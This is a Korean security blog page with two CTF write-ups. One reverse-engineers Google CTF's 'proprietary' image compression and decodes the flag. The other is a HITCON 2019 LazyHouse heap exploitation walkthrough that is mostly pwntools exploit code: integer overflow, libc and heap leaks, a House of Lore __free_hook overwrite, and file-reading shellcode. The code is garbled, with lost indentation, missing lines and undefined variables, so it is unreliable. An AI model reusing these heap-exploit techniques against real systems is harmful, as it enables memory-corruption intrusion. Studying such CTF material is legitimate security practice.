## Introduction

When we peek at file given by the challenge, the file starts with GCTF(which might mean google ctf), and we don't find any noticable information from this file. So for more information, we tried to send some random data to remote server.

a
Expected P6 as the header

The server expects us to send P6 as the header. So we tried to send P6 and some random data.

P6
a
Expected width and height

The server expects us to send width and height, so we sent it.

P6
300 300
a
Expected 255

Now the server expects 255, so we sent 255 instead of a. Then the server starts to receive data. So we tried to limit the width and height to 1 and send some random data.

[+] Opening connection to proprietary.ctfcompetition.com on port 1337: Done
[DEBUG] Sent 0x3 bytes:
'P6\n'
[DEBUG] Sent 0x4 bytes:
'1 1\n'
[DEBUG] Sent 0x4 bytes:
'255\n'
[DEBUG] Sent 0x3 bytes:
'\x11' * 0x3
[DEBUG] Received 0x10 bytes:
00000000  47 43 54 46  01 00 00 00  01 00 00 00  00 11 11 11  │GCTF│····│····│····│
00000010
[*] Closed connection to proprietary.ctfcompetition.com port 1337

It receives 3 bytes and prints out data.

## Observation

We tried to figure out what the result that the server gives means. By testing several test data, we figured out some information.

1. The server receives $3 \times width \times height$ length data.

2. The result contains GCTF at start, 4 bytes which indicate width, 4 bytes which indicate height, and the result data after 12 bytes.

So we guessed that the server receives 24-bit color mapped picture, compress that data, and prints out GCTF+width+height, and result.

## Analysis

We tried giving the server random data of width 2, height 2. Then, we figured out some rules of how the server compresses our data.

Input : ffffffffffffffffffaaaaaa
Output :
47435446
02000000
02000000
08ffffff
00aaaaaa

Input : ffffffaaaaaaffffffffffff
Output :
47435446
02000000
02000000
02ffffff
00aaaaaa

Input : ffffffaaaaaaffffffaaaaaa
Output :
47435446
02000000
02000000
0affffff
00aaaaaa
00aaaaaa

Input : aaaaaaffffffaaaaaaffffff
Output :
47435446
02000000
02000000
0aaaaaaa
00ffffff
00ffffff

Input : aaaaaaffffffffffffffffff
Output :
47435446
02000000
02000000
01ffffff
00aaaaaa

Input : ffffffffffffaaaaaaffffff
Output :
47435446
02000000
02000000
04ffffff
00aaaaaa

Input : ffffffffffffaaaaaaaaaaaa
Output :
47435446
02000000
02000000
0cffffff
00aaaaaa
00aaaaaa

The input and output are expressed in hex values, and output is split with newline after every 4 bytes. We figured out the result follows the rules:

1. 4 bytes are indexed with 1, 2, 4, 8 in order.
2. Choose dominant color. If the number of dominant color is same with the number of second dominant color, choose the color which appears faster.
3. Sum up indexes of non-dominant colors. For example, if input is ffffff/ffffff/aaaaaa/aaaaaa, then we get dominant color ffffff, the sum of indexes is 4+8=0xc.
4. Concatenate the summation we calculated above next to the dominant color. Then we reverse the bytes and print out to result.
5. We now concatenate a null byte next to non-dominant color. Then we reverse the bytes and print out to result. We repeat this task sequentially for every non-dominant color.

We also tried other data and we figured out if two color data is close enough(up to about 0x12 difference in color bytes), then they are considered as same color.

After we figured out the compression rules of 2 x 2 images, we started to test 4 x 4 images. Then, we figured out the following rules.

1. 4 pieces(which are 2 x 2 images) are indexed with 1, 2, 4, 8 in order.
2. Check these pieces if one piece is filled with a single color. If there are no such piece, print 0x0f and follow the rules of 2x2 in order.
3. If at least one piece is filled with a single color, sum up indexes of pieces that are not consisted of a single color. Then, we print the reverse of color+sum, and we follow the rules of 2x2 in order, excluding pieces of single color.

Next we expanded our test data to 8 x 8, and we figured out that the compression algorithm is in recurrence relation(with base condition with 2 x 2 piece).

## Rules

### Basic condition

1. If two colors have difference lesser than 0x12 in their bytes, they are considered as same color.

### Rules in 2 x 2

1. 4 colors are indexed with 1, 2, 4, 8 in order
2. Choose one dominant color. Next, we write that color in front, with their bytes reversed.
ex) If the dominant color is 0x343536:
If the dominant color is at 2, 4, then the compression result is 0x09363534. (0x09 = 1+8)

### Rules in 4 x 4

1. 4 pieces(2 x 2 images) are indexed with 1, 2, 4, 8 in order.

2. We inspect 4 pieces and check if there is a piece filled with a single color. If such piece doesn't exist, add 0x0f to result.

3. If there are at least one piece filled with a single color, sum up numbers of indexes of pieces that are not filled with single color. For example, if 2, 4 pieces are not filled with a single color, the result is 0x09.

ex) 0x11 0x11 0x33 0x33

  0x11  0x11  0x33  0x55
0x55  0x55  0x77  0x77
0x99  0x99  0xbb  0xbb

(I wrote one byte assuming 3 bytes of color are all same. (0x11 = 0x111111))
1) If there is a piece filled with a single color : at index 1 :arrow_right: 0x0e111111 (If there is no such piece, just add 0x0f)
2) We checked the first piece is filled with a single color : pass.
3) dominant : 0x33 : 0x08333333

 non dominant : 0x00555555

4) dominant : 0x55 : 0x0c555555

 non dominant : 0x00999999
non dominant : 0x00999999

5) dominant : 0x77 : 0x0c777777

 non dominant : 0x00bbbbbb
non dominant : 0x00bbbbbb

### Rules in n x n

1. If n is not 2^k, we fill empty spaces with 0x000000 padding.
2. We now split the data with 2 x 2, follow the recurrence relation defined in 4 x 4 rules, with base condition rules defined in 2 x 2 rules.

# Solve

We now know how the compression algorithm works. Now we write decompress code and get the flag.

from pwn import *

data = open("flag.ctf", "rb").read()

seek = 12

# color_data[height][width]
color_data = [[0x00 for i in xrange(1024)] for j in xrange(1024)]

# fill color from sx(width), sy(height) to tx, ty
def fill_color(sx, sy, tx, ty, color):
for j in xrange(sy, ty):
color_data[j][i] = color

# do recursion from sx(width), sy(height) with size(current block size)
def do_recursion(sx, sy, size):
global data
global seek
global color_data
# base condition
if size == 2:
byte_filter = bin(ord(data[seek]))[2:]
byte_filter = "0"*(4-len(byte_filter)) + byte_filter
seek += 1
byte_color = u32(data[seek:seek+3]+"\x00")
seek += 3
for i in xrange(4):
if byte_filter[3-i] == '1':
color_data[sy+i/2][sx+(i%2)] = u32(data[seek+1:seek+4]+"\x00")
seek += 4
else:
color_data[sy+i/2][sx+(i%2)] = byte_color

# recurrence relation
else:
byte_filter = bin(ord(data[seek]))[2:]
byte_filter = "0"*(4-len(byte_filter)) + byte_filter
seek += 1
if byte_filter == "1111":
do_recursion(sx, sy, size/2)
do_recursion(sx+size/2, sy, size/2)
do_recursion(sx, sy+size/2, size/2)
do_recursion(sx+size/2, sy+size/2, size/2)
else:
byte_color = u32(data[seek:seek+3]+"\x00")
seek += 3
for i in xrange(4):
if byte_filter[3-i] == '1':
do_recursion(sx+(i%2)*size/2, sy+(i/2)*size/2, size/2)
else:
fill_color(sx+(i%2)*size/2, sy+(i/2)*size/2, sx+(i%2)*size/2+size/2, sy+(i/2)*size/2+size/2, byte_color)

do_recursion(0, 0, 1024)

bmp_header = "42 4D B6 FC 0A 00 00 00 00 00 36 00 00 00 28 00 00 00 58 02 00 00 90 01 00 00 01 00 18 00 00 00 00 00 80 FC 0A 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00".replace(" ", "")

# result is color data
with open("result.bmp", "w") as f:
for i in xrange(400):
for j in xrange(600):
dat = hex(color_data[400-i][j])[2:]
if len(dat) % 2 == 1:
dat = "0"+dat
dat = dat.decode("hex")
assert len(dat) <= 3
dat = "\x00"*(3-len(dat))+dat
f.write(dat)


Flag : CTF{P1c4s0_woU1d_B3_pr0UD}

#### '보안 > CTF Writeups' 카테고리의 다른 글

HITCON 2019 Quals LazyHouse Writeup  (0) 2021.01.19 2021.01.19

https://github.com/candymate/pwn/tree/master/HITCON%202019%20Quals/lazyhouse

## Description

My teammate, Lays, wants a house. Can you buy one for him?
flag: /home/lazyhouse/flag

nc 3.115.121.123 5731

## Analysis

The problem is just a simple menu heap challenge, with some seccomp rules. (like execve being blocked) In this challenge, we can allocate, free, print chunks, as well as two chances of modification + 32 byte overflow, and 1 malloc chance.

The allocation of chunk needs size and money, where size is bigger than 0x7f, and money is bigger than 218*size. The allocation uses calloc to get chunk, so it doesn't use tcache in allocation. Moreover, the number of entries in chunk list is 8, so we can get 8 different chunks in maximum.

Freeing chunks refunds money of size*64, and it deletes chunk from the bss list, so it's impossible to free same chunk multiple times.

We can print chunks with write function if the chunk is in the house list. Also, we have 2 chances to upgrade house, which allows us to modify content of chunk + 32 bytes of heap overflow. We can also allocate chunk with size 0x220, with malloc once.

## Bug

There is a bug in buying house, which allows us to buy houses with negative size. In buying house, it compares unsigned size with signed 0x7f, so we can give size with negative value. However, we need to ensure that 218*size is lesser than our money, since it performs unsigned comparison.

Also, there is an intended bug in upgrading house, which allows us to do 32 byte heap overflow twice.

## Exploit

### Money cheat

Because unsigned size value we give in buying house is compared with signed 0x7f, we can give negative size to buy house, and sell it to increase our money. So we can make our money super large by buying house with proper size, and selling it.

# money cheat
polluted_size = -(((219 << 64) / 218) % (1 << 64))
r.sendlineafter("choice: ", "1")
r.sendlineafter("Index:", "0")
r.sendlineafter("Size:", str(polluted_size))
r.interactive()
sell_house(0)

### Libc and tcache struct address leak by chunk overlapping 2

By using chunk overlapping 2 (Link), we can leak libc and heap address. Two chunks are overlapped for later processes.

# filling tcaches
for i in xrange(7):
sell_house(0)
for i in xrange(7):
sell_house(0)
for i in xrange(7):
sell_house(0)

buy_house(2, 0x418, "C") # chunk to be overlapped
buy_house(3, 0x418, "D") # chunk to be overlapped
buy_house(5, 0x88, "F") # chunk to block coalescing

sell_house(4)
sell_house(1)

# leak libc address
buy_house(1, 0x98, "H") # size is 0x98 to write arena address in 2

libc_leak = u64(show_house(2)[0:8])
log.success("libc leak addr : "+hex(libc_leak))

libc_base = libc_leak - 0x7fb657832ca0 + 0x7fb65764e000
free_hook = libc_base + libc.symbols['__free_hook']
system = libc_base + libc.symbols['system']

# cleanup
sell_house(5)
sell_house(1)
sell_house(0)

# leak heap address
payload += p64(0x31) # fake size 0x31 (2nd entry of tcache entries)
payload += p64(0x21) # fake size 0x21 (1st entry of tcache entries)

# free two chunks to put them in tcache struct
sell_house(2) # to 0x31 entry
sell_house(3) # to 0x21 entry

# leak tcache struct addr (actually tcache key in 2.29)
heap_leak = u64(show_house(4)[0x138:0x140])
log.success("heap leak addr : "+hex(heap_leak))
chunk_base = heap_leak-0x10

### House of Lore to overwrite free hook

In tcache struct, tcache count list and tcache entries are adjacent. Because of that, we can create fake chunk structure in tcache struct, by putting 1st and 2nd tcache entry by freeing chunks size 0x20 and 0x30, and fake size (in this case, 0x301)by freeing chunks size 0x3a0 and 0x3b0. After house of lore, tcache entries will be overwritten, so that we can do arbitrary write by buying super house.

# house of lore

sell_house(5)

payload += p64(0x421) # restore chunk size
payload += p64(chunk_base+0x40) # fake chunk 2
payload += p64(0x201) # for checking (looks like size)
payload += p64(libc_leak-96+592) # fake chunk 1
payload += p64(chunk_base+0x40) # fake chunk 1

# pre process for super size house
sell_house(0)

# fake size in tcache struct (0x301)
sell_house(0)
for i in xrange(3):
sell_house(0)

# overwrite tcache entries
target = free_hook
log.info ("target: " + hex(target))
buy_house(0, 0x1f8, payload)

### Call mprotect and run shellcode

Overwrite __free_hook to call mprotect, then run shellcode.

xchg_gadget = libc_base + 0x0000000000158023
call_mprotect = libc_base + 0x0000000000117590
how_gadget = libc_base + 0x00000000001080fc
push_rdi_ret = libc_base + 0x000000000004c745
log.info ("b * {}".format (hex(how_gadget)))

pay = p64(call_mprotect) + p64(heap_leak + 0x4ff0)
context.arch = 'amd64'
context.os = 'linux'

sc = asm(shellcraft.amd64.open ("/home/lazyhouse/flag", 0))
sc += asm(shellcraft.amd64.read ('rax', 'rsp', 100))
sc += asm(shellcraft.amd64.write (1, 'rsp', 100))
pay2 = p64(heap_leak+0x4220) + "\x90" * 0x20 + sc
print len (pay2)
buy_house (2, 0x850, "ASDF")
buy_house (7, 0x200, pay)
buy_house (3, 0x200, pay2)

r.sendafter("choice: ", "3".ljust(0x20, "b"))
r.sendafter("Index:", "7".ljust(32,"a"))
#sell_house(0)
sell_house (3)
r.interactive()